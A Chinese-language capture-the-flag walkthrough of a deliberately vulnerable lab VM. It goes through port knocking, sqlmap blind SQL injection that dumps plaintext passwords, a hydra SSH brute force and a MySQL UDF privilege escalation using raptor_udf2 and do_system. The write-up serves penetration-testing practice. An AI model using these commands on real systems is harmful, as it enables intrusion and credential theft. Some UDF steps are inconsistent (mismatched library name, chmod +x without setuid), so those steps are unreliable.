端口
nmap主机发现
nmap -sn 192.168.72.0/24
Nmap scan report for 192.168.72.170
Host is up (0.00020s latency).
170是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.72.170 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
PORT STATE SERVICE
22/tcp open ssh 发现开放1个端口
nmap -Pn -sU 192.168.72.170 -p- --min-rate
尝试udp扫描,当然结果什么都没有
说不定ssh可以登录:
ssh 192.168.72.170
看字:knock friend to enter
简单介绍一下:knock工作就是管理员设定的按照一定规则去按顺序去knock某些端口后,会执行管理员写好的代码
主要用于隐蔽,在这里很可能是knock某些端口后,会执行其他开放端口的代码
(介绍一下应用场景,与当前靶机无关,比如为了隐蔽使ssh端口默认处于关闭状态,knock特定规则的端口ssh端口开启,然后为了再次隐蔽,knock特定端口使得ssh用完后关闭,当然knock端口可以由管理员设置)
看到下方的 Easy as 1,2,3
我们直接:knock 192.168.72.170 1 2 3
nmap再扫描一次
PORT STATE SERVICE
22/tcp open ssh
1337/tcp open waste
nmap -sT -sC -sV -O -p22,1337 -oA nmap/info 192.168.72.170
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3c3de38e35f9da7420efaa494a1deddd (DSA)
| 2048 85946c87c9a8350f2cdbbbc13f2a50c1 (RSA)
| 256 f3cdaa1d05f21e8c618725b6f4344537 (ECDSA)
|_ 256 34ec16dda7cf2a8645ec65ea05438921 (ED25519)
1337/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
立足
主页是张图片,主页源代码页面就是图片链接,其他什么都没有,尝试查看其他目录
robots.txt:
居然也是张图片,查看源代码页面:
<html>
<img src="/images/hipster.jpg" align="middle">
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
</html>
推荐网站:https://hashes.com/zh/decrypt/hash
THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh:Lzk3ODM0NTIxMC9pbmRleC5waHA
Lzk3ODM0NTIxMC9pbmRleC5waHA:/978345210/index.php
抓包sqlmap跑一下,sqlmap真吊,站在巨人得肩膀上
POST /978345210/ HTTP/1.1
Host: 192.168.72.170:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://192.168.72.170:1337
Connection: close
Referer: http://192.168.72.170:1337/978345210/
Cookie: PHPSESSID=hniik3khi6l5fh1f9asb58sk30
Upgrade-Insecure-Requests: 1
username=asdas&password=asdasd&submit=+Login+
sqlmap -r raj --batch --dbs --time-sec 1
这里--time-sec 1是因为发现了时间盲注,为了节约时间设置等待时间为1
4个数据库
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp
看Webapp数据库:sqlmap -r raj --batch --dbs -D Webapp -tables --time-sec 1
一个表:
Database: Webapp
[1 table]
+-------+
| Users |
+-------+
看这个表的字段:
sqlmap -r raj --batch --dbs -D Webapp -T Users --columns --time-sec 1
Database: Webapp
Table: Users
[3 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(10) |
| password | varchar(255) |
| username | varchar(255) |
+----------+--------------+
字段不多直接--dump-all这张表:sqlmap -r raj --batch --dbs -D Webapp -T Users --dump-all --time-sec 1
Database: Webapp
Table: Users
[5 entries]
+----+------------------+----------+
| id | password | username |
+----+------------------+----------+
| 1 | iwilltakethering | frodo |
| 2 | MyPreciousR00t | smeagol |
| 3 | AndMySword | aragorn |
| 4 | AndMyBow | legolas |
| 5 | AndMyAxe | gimli |
+----+------------------+----------+
制作字典
将
+----+------------------+----------+
| id | password | username |
+----+------------------+----------+
| 1 | iwilltakethering | frodo |
| 2 | MyPreciousR00t | smeagol |
| 3 | AndMySword | aragorn |
| 4 | AndMyBow | legolas |
| 5 | AndMyAxe | gimli |
+----+------------------+----------+
放在user_pass.txt
然后分别制作password.txt 和username.txt字典:
cat user_pass.txt | awk -F '|' {'print $3'} | tr -d ' ' > password.txt
cat user_pass.txt | awk -F '|' {'print $4'} | tr -d ' ' > username.txt
hydra爆破
hydra -L username.txt -P password.txt 192.168.72.170 ssh
结果:[22][ssh] host: 192.168.72.170 login: smeagol password: MyPreciousR00t
提权
有sql注入我们直接前往:/var/www
在/var/www/978345210/login.php我们看到如下内容:
$db = new mysqli('localhost', 'root', 'darkshadow', 'Webapp');
mysql用root登录,看看是否udf提权
searchsploit mysql udf
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)
mysql udf是mysql的用户自定义函数,我们将函数存放在动态链接库中,那么这个动态链接库的所有者就是mysql创建udf时所使用的用户,恰好现在以root身份登录mysql,代表着我们能使用root将udf写入一个动态链接库,提权需要调用这个恶意函数,这还需要我们借助mysql的root权限来调用恶意函数
mysql udf提权步骤
1.编译:
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
2.登录:mysql -u root -p
3.创建表(这个表的作用就是借助mysql的root用户将恶意动态链接库写入/usr/lib/下):
mysql> use mysql;
mysql> create table foo(line blob);
4.写入恶意动态链接库:
mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
5.创建udf
mysql> create function do_system returns integer soname 'raptor_udf2.so';
6.查看是否成功
mysql> select * from mysql.func;
7.执行提权代码
mysql> select do_system('cp /bin/sh /tmp/rootsh;chmod +x /tmp/rootsh');
这里说明一下为什么不拷贝/bin/bash,因为执行后bash会比对ruid和euid是否相同,如果不相同就降权到ruid,我们执行的话ruid是smeagol而euid是root,降权到smeagol
root
cat Flag.txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf
mysql udf提权条件:
1.可登录的mysql用户具有root权限
2.secure_file_priv 有些设置选项:
SHOW VARIABLES LIKE 'secure_file_priv';
如果为空,不做目录限制,即任何目录均可以。
如果指定了目录,MySQL 会限制只能从该目录导入、或导出到该目录。目录必须已存在,MySQL 不会自动创建该目录。
如果设置为 NULL,MySQL 服务器禁止导入与导出功能。
次靶机
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+